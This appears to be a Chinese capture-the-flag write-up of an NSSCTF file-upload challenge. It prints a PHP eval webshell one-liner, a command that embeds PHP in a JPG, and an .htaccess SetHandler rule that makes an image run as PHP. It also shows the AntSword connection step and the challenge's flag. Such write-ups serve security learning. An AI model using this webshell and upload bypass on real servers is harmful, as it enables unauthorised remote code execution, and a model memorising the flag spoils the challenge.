开启NSSCTF靶场,打开链接:
本来我是想直接上传一个混合php代码的图片,然后访问这个图片以触发生成shell.php,再用蚁剑连接的:
copy /b easyupload3.0.jpg+fopen.php e3.jpg
<?phpfputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"])?>');?>
但是蚁剑连接就是失败,在浏览器中访问/upload/shell.php或/shell.php都显示404 not found,只能用其他方法了
采用.htaccess绕过的方法:
用burp抓包(抓的是一个0 kb的jpg文件)修改filename处的值为.htaccess,并加上下面这段代码:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
(.htaccess文件可以被服务器软件检测执行的玩意,只要你往里面塞配置(规则),就可以让服务器软件为所欲为(bushi,利用这个可以绕过php文件上传限制)
可以看到上传.htaccess文件成功
再上传1.jpg文件
(注意:这个1.jpg文件就是前两关用的php一句话木马文件)
用蚁剑进行连接:
得到flag:
NSSCTF{0994111a-d030-4b93-a938-b86e2bfdceec}